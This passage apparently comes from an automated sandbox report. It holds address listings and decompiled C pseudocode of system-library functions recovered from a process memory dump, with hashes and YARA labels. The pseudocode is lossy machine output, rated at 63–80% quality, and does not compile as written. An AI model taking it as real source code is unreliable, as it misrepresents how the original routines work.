0x00d727c1
0x00d727c3
0x00d727c5
0x00d727c7
0x00db5c74
0x00db5c79
0x00db5c79
0x00d727c7
0x00000000
0x00d726c0
0x00d726c0
0x00d726c3
0x00d726c6
0x00d726c6
0x00d726c9
0x00d726c9
0x00000000
0x00d726c9
0x00d726ba
0x00d7265b
0x00d7265b
0x00d7265e
0x00d72667
0x00d7266d
0x00d72677
0x00d7267c
0x00d7267f
0x00d72681
0x00db5b49
0x00db5b4e
0x00d727cd
0x00d727d0
0x00d727d1
0x00d727d2
0x00d727d4
0x00d727dd
0x00d72687
0x00d72687
0x00d7268a
0x00d7268b
0x00d7268e
0x00d7268f
0x00d72691
0x00d72696
0x00d72698
0x00d7269d
0x00d7269f
0x00000000
0x00d7269f
0x00d72681
0x00000000
0x00000000
0x00d72846
0x00000000
0x00000000
0x00d72605
0x00d7260a
0x00d7260c
0x00d72611
0x00d72616
0x00d72619
0x00d72619
0x00d7261e
0x00000000
0x00d72624
0x00d72627
0x00d72627
0x00000000
0x00000000
0x00db5b1f
0x00000000
0x00000000
0x00d72894
0x00d7289b
0x00d7289d
0x00d728a1
0x00db5b2b
0x00db5b2e
0x00db5b2e
0x00d728a7
0x00d728a9
0x00db5b04
0x00db5b09
0x00db5b09
0x00db5b09
0x00000000
0x00000000
0x00db5b35
0x00db5b3c
0x00d728fb
0x00d728fb
0x00d726cc
0x00d726cc
0x00d726d0
0x00000000
0x00d726d2
0x00d726d2
0x00000000
0x00d726d2
0x00000000
0x00000000
0x00d725fe
0x00d7292d
0x00d7292f
0x00d72930
0x00d72935
0x00d72937
0x00d72938
0x00d7293b
0x00d7293c
0x00d7293e
0x00d7293f
0x00d72940
0x00d72942
0x00d72944
0x00d72947
0x00d72948
0x00d7294e
0x00d7294f
0x00d72951
0x00d72951
0x00d72952
0x00d72954
0x00d7295a
0x00d7295c
0x00d72962
0x00d72963
0x00d72964
0x00d72968
0x00d7296b
0x00d7296c
0x00d7296f
0x00d72972
0x00d72973
0x00d72977
0x00d72978
0x00d7297b
0x00d7297d
0x00d7297e
0x00d7297f
0x00d72980
0x00d72981
0x00d72982
0x00d72983
0x00d72984
0x00d72985
0x00d72986
0x00d72987
0x00d72988
0x00d72989
0x00d7298a
0x00d7298b
0x00d7298c
0x00d7298d
0x00d7298e
0x00d7298f
0x00d72990
0x00d72992
0x00d72997
0x00d729a3
0x00d729a6
0x00d729ab
0x00d729ad
0x00d729b0
0x00d729b2
0x00db5c80
0x00d729b8
0x00d729b8
0x00d729bb
0x00d729c0
0x00d729c5
0x00d729c6
0x00d729c6
0x00d729c9
0x00d729cb
0x00000000
0x00000000
0x00d729cd
0x00d729d0
0x00d729d9
0x00d729db
0x00d729dd
0x00d72a7f
0x00d72a84
0x00d72a87
0x00d72a89
0x00db5ca1
0x00db5ca3
0x00000000
0x00d72a8f
0x00d72a8f
0x00000000
0x00d72a8f
0x00000000
0x00d729e3
0x00d729e3
0x00d729e3
0x00000000
0x00d729e3
0x00d729dd
0x00000000
0x00d729db
0x00d729e6
0x00d729e9
0x00d729eb
0x00d729ed
0x00d729f3
0x00d729f5
0x00d729f8
0x00d729fa
0x00d72a97
0x00d72a9a
0x00d72a9d
0x00d72add
0x00000000
0x00d72a9f
0x00d72aa2
0x00d72aa5
0x00d72aa8
0x00d72aab
0x00db5cab
0x00db5caf
0x00db5cc5
0x00db5cda
0x00db5cdc
0x00db5cdf
0x00db5ce5
0x00000000
0x00db5ceb
0x00db5ced
0x00db5cee
0x00000000
0x00db5cee
0x00db5cb1
0x00db5cb4
0x00db5cb9
0x00db5cbb
0x00000000
0x00db5cbd
0x00db5cbd
0x00000000
0x00db5cbd
0x00db5cbb
0x00d72ab1
0x00d72ab1
0x00d72ac4
0x00d72ac6
0x00d72ac6
0x00000000
0x00d72ac6
0x00d72aab
0x00000000
0x00d72a00
0x00d72a09
0x00d72a0e
0x00d72a21
0x00d72a24
0x00d72a35
0x00d72a3a
0x00d72a3d
0x00d72a42
0x00d72a59
0x00d72a59
0x00d72a5c
0x00d72a5f
0x00d72a5f
0x00d729fa
0x00d729f3
0x00d72a64
0x00d72a64
0x00d72a6b
0x00d72a6b
0x00d72a6d
0x00d72a72
0x00d72a72
0x00000000

Strings

PATH, xrefs: 00D72642, 00D72691

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: 2c54284b88bd8389ae6da146eee7a59f128353a71f04501b4eb57a72c16f115d
Instruction ID: 51171912c1cce440af8bacff192a79f470b0a0217ffa7924338b1539d2c4abe8
Opcode Fuzzy Hash: 2c54284b88bd8389ae6da146eee7a59f128353a71f04501b4eb57a72c16f115d
Instruction Fuzzy Hash: 3EC15C71D00259DBCB29DF99D981BBEBBB5FF48700F18802AE945BB250E734A945CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D42D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00D42D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0xe35350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0xe37bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E00D897C0();
				}
				if( *0xe379c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0xe379c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E00D71624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E00D67D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E00DDFE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E00D89520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E00D7E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L00D9DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0xe36901;
								_push(_t109);
								_v52 = _t98;
								if( *0xe36901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E00D89980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E00D895D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E00D67D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E00D67D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E00DC7016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E00DDFDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0xe35350;
							if(_t109 != 0xe35350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E00DDFFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E00DD5720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x00d42d8a
0x00d42d8a
0x00d42d92
0x00d42d96
0x00d42d9e
0x00d42da0
0x00d42da3
0x00d42da5
0x00d42da8
0x00d42dab
0x00d42db2
0x00d9f9aa
0x00d9f9ab
0x00d9f9ae
0x00d9f9ae
0x00d42db8
0x00d42dc2
0x00d9f9b9
0x00d9f9be
0x00d9f9bf
0x00d9f9bf
0x00d42dcf
0x00d9f9c9
0x00d42dd5
0x00d42dd5
0x00d42dd5
0x00d42dde
0x00d42de1
0x00d42e70
0x00d42e72
0x00d42e72
0x00d42de7
0x00d42deb
0x00d42e7c
0x00d42e83
0x00d42e85
0x00d42e8b
0x00d42e8d
0x00d42e92
0x00d42e92
0x00d42e85
0x00d42df1
0x00d42df7
0x00d42df9
0x00d42df9
0x00d42dfc
0x00d42dff
0x00d42e02
0x00000000
0x00d42e05
0x00d42e0c
0x00d9f9d9
0x00d42e12
0x00d42e12
0x00d42e12
0x00d42e1a
0x00d9f9e3
0x00d9f9e9
0x00d9f9f0
0x00d9f9f6
0x00d9f9f8
0x00d9f9f8
0x00d9f9f0
0x00d42e23
0x00d9fa02
0x00d9fa03
0x00d9fa05
0x00d9fa06
0x00000000
0x00d42e29
0x00d42e29
0x00d42e2e
0x00d42e34
0x00d42e3e
0x00000000
0x00000000
0x00d42e44
0x00d42e47
0x00d42e4d
0x00000000
0x00000000
0x00d42e4f
0x00d42e54
0x00000000
0x00000000
0x00d42e5a
0x00d42e5f
0x00d42e9a
0x00d42ea4
0x00d42ea5
0x00d42ea8
0x00d42eaf
0x00d42eb2
0x00d42eb5
0x00d9fae9
0x00d9faeb
0x00d9faed
0x00d9faef
0x00d9faf7
0x00d9faf8
0x00d9fafd
0x00d9faff
0x00d9fb04
0x00d9fb04
0x00d9faff
0x00d42ec0
0x00d42ec4
0x00d42ec6
0x00d42ec8
0x00d9fb14
0x00d9fb18
0x00d9fb1e
0x00d9fb21
0x00d9fb21
0x00d42ece
0x00d42ece
0x00d42ece
0x00d42ed7
0x00d42e61
0x00d42e63
0x00d9fa6b
0x00d9fa71
0x00d9fa76
0x00d9fa78
0x00d9fa8a
0x00d9fa7a
0x00d9fa83
0x00d9fa83
0x00d9fa8f
0x00d9fa91
0x00d9fa97
0x00d9fa9d
0x00d9faa4
0x00d9faaa
0x00d9faaf
0x00d9fab1
0x00d9fac3
0x00d9fab3
0x00d9fabc
0x00d9fabc
0x00d9fac8
0x00d9facb
0x00d9fadf
0x00d9fadf
0x00d9facb
0x00d9faa4
0x00d9fa91
0x00d42e6f
0x00d42e6f
0x00d42e5f
0x00d9fa13
0x00d9fa15
0x00d9fa17
0x00d9fa1f
0x00d9fa21
0x00d9fa22
0x00d9fa25
0x00d9fa28
0x00d9fa2f
0x00d9fa2f
0x00d9fa2a
0x00d9fa2a
0x00d9fa2a
0x00d9fa31
0x00d9fa34
0x00d9fa36
0x00d9fa3c
0x00d9fa3e
0x00d9fa41
0x00d9fa43
0x00d9fa45
0x00d9fa45
0x00d9fa41
0x00d9fa3c
0x00d9fa4a
0x00d9fa4f
0x00d9fa51
0x00d9fa53
0x00d9fa56
0x00d9fa5b
0x00d9fa5e
0x00000000
0x00d9fa5e
0x00d42e23

Strings

RTL: Re-Waiting, xrefs: 00D9FA4A

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: a9fdb0d1e806336d3a65dca5a57b2d642747fe3e7f48c3377aeb427d4cb8ee76
Instruction ID: d9d49f5fa4edcd2ce09456abd1e3aee0153e5b9580586397bea4d35f65cdd400
Opcode Fuzzy Hash: a9fdb0d1e806336d3a65dca5a57b2d642747fe3e7f48c3377aeb427d4cb8ee76
Instruction Fuzzy Hash: 9C611F31A00644AFDF21DB68C885B7EB7A5EB44324F6806BAF895A72C1C7749D00CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00E10EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00E10EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E00E0FF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E00E11074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E00D89730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E00E0A80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E00E0A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0xe38b04 >> 0x14) + (_v44 -  *0xe38b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E00D67D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E00E0138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E00D67D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E00DFFEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0xe38724 & 0x00000008) != 0) {
						E00E052F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E00E115B5(0xe38ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x00e10eb7
0x00e10eb9
0x00e10ec0
0x00e10ec2
0x00e10ecd
0x00e1105b
0x00e1105b
0x00e11061
0x00e11066
0x00e11066
0x00e1106b
0x00e11073
0x00e11073
0x00e10ed3
0x00e10ed6
0x00e10edc
0x00e10ee0
0x00e10ee7
0x00e10ef0
0x00e10ef5
0x00e10efa
0x00e10efc
0x00e10efd
0x00e10f03
0x00e10f04
0x00e10f06
0x00e10f07
0x00e10f09
0x00e10f0e
0x00e10f14
0x00e10f23
0x00e10f2d
0x00e10f34
0x00e10f34
0x00e10f14
0x00e10f52
0x00000000
0x00000000
0x00e10f58
0x00e10f73
0x00e10f74
0x00e10f79
0x00e10f7d
0x00e10f80
0x00e10f86
0x00e10fab
0x00e10fb5
0x00e10fc6
0x00e10fd1
0x00e10fe3
0x00e10fd3
0x00e10fdc
0x00e10fdc
0x00e10feb
0x00e11009
0x00e11009
0x00e11015
0x00e11027
0x00e11017
0x00e11020
0x00e11020
0x00e1102f
0x00e1103c
0x00e1103c
0x00e11048
0x00e11050
0x00e11050
0x00e11055
0x00000000
0x00e11055
0x00e10f88
0x00e10f9e
0x00e10fa2
0x00e10fa9
0x00000000
0x00000000
0x00000000
0x00e10fa9
0x00000000

Strings

`, xrefs: 00E10F16

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 2d61bbc86012b1f28ac089bee4a9bf4cc41bb465556285f1721cc8a1bdbb711b
Instruction ID: a420b7ee4e1780e287290de09497fae8eb9af084bbf800fdf46caa20f7273f3d
Opcode Fuzzy Hash: 2d61bbc86012b1f28ac089bee4a9bf4cc41bb465556285f1721cc8a1bdbb711b
Instruction Fuzzy Hash: 7451BD712043429FD324DF28D885B5BB7E5EBC8308F04196DFA96A7291D670EC86CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00D7F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00D7F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E00D64120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E00D89830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E00D89990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E00D895D0();
							goto L11;
						} else {
							_t109 = L00D64620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E00D8F3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E00D895D0();
										L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00d7f0d3
0x00d7f0d9
0x00d7f0e0
0x00d7f0e7
0x00d7f0f2
0x00d7f0f4
0x00d7f0f8
0x00d7f100
0x00d7f108
0x00d7f10d
0x00d7f115
0x00d7f116
0x00d7f11f
0x00d7f123
0x00d7f124
0x00d7f12c
0x00d7f130
0x00d7f134
0x00d7f13d
0x00d7f144
0x00d7f14b
0x00d7f152
0x00dbbab0
0x00dbbab0
0x00d7f158
0x00d7f158
0x00d7f15a
0x00d7f160
0x00d7f165
0x00d7f166
0x00d7f16f
0x00d7f173
0x00dbbaa7
0x00dbbaa7
0x00dbbaab
0x00000000
0x00d7f179
0x00d7f18d
0x00d7f191
0x00dbbaa2
0x00000000
0x00d7f197
0x00d7f19b
0x00d7f1a2
0x00d7f1a9
0x00d7f1af
0x00d7f1b2
0x00d7f1b6
0x00d7f1b9
0x00d7f1c4
0x00d7f1d8
0x00d7f1df
0x00d7f1e3
0x00d7f1eb
0x00d7f1ee
0x00d7f1f4
0x00d7f20f
0x00dbbab7
0x00dbbabb
0x00dbbacc
0x00dbbad1
0x00d7f215
0x00d7f218
0x00d7f226
0x00d7f22b
0x00000000
0x00d7f22b
0x00d7f1f6
0x00d7f1f6
0x00d7f1f9
0x00d7f1fb
0x00d7f1fb
0x00d7f1f4
0x00d7f191
0x00d7f173
0x00d7f152
0x00d7f203

Strings

@, xrefs: 00D7F124

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: aa35157553f5230c954d0431c61ab44ec7e24380ba7cd4d2811a7002c7d1961b
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 0E518B71604710AFC321DF29C841A6BBBF8FF48710F10892EF99697691E7B4E904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00DC3540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00DC3540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0xe3d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E00D80BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E00DC3706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E00D8FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E00DC3540;
						E00D8FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E00D9DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E00DD0C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E00D897C0();
					}
					return E00D8B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E00DC3971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E00DC3884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E00D8FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E00D89650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E00DC3787(_a4,  &_v352, _t80);
						}
					}
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E00D895D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00dc3552
0x00dc355a
0x00dc355d
0x00dc3566
0x00dc3567
0x00dc357e
0x00dc358f
0x00dc35a1
0x00dc35a5
0x00dc366b
0x00dc366b
0x00dc366d
0x00dc3672
0x00dc3679
0x00dc3685
0x00dc368d
0x00dc369d
0x00dc36a7
0x00dc36b8
0x00dc36c6
0x00dc36c7
0x00dc36dc
0x00dc36e1
0x00dc36e7
0x00dc36e9
0x00dc36e9
0x00dc3703
0x00dc3703
0x00dc35b5
0x00dc35c0
0x00dc35c4
0x00000000
0x00000000
0x00dc35ca
0x00dc35d7
0x00dc35e2
0x00dc35e6
0x00dc35e8
0x00dc35f5
0x00dc35fa
0x00dc3603
0x00dc3604
0x00dc3609
0x00dc360a
0x00dc3612
0x00dc3613
0x00dc361e
0x00dc3622
0x00dc3628
0x00dc362f
0x00dc362f
0x00dc3636
0x00dc3638
0x00dc363b
0x00dc3642
0x00dc3642
0x00dc3636
0x00dc3657
0x00dc3657
0x00dc365c
0x00dc3662
0x00dc3669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 00DC358F

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: c9811655d71a915a5cc2f1b0bef78166bce45fefe1e4a685809b7506cd36f9a4
Instruction ID: 6bc2030d418e6a54dae585886f966ccd9aafb5224afd29727fc3c7c46a098665
Opcode Fuzzy Hash: c9811655d71a915a5cc2f1b0bef78166bce45fefe1e4a685809b7506cd36f9a4
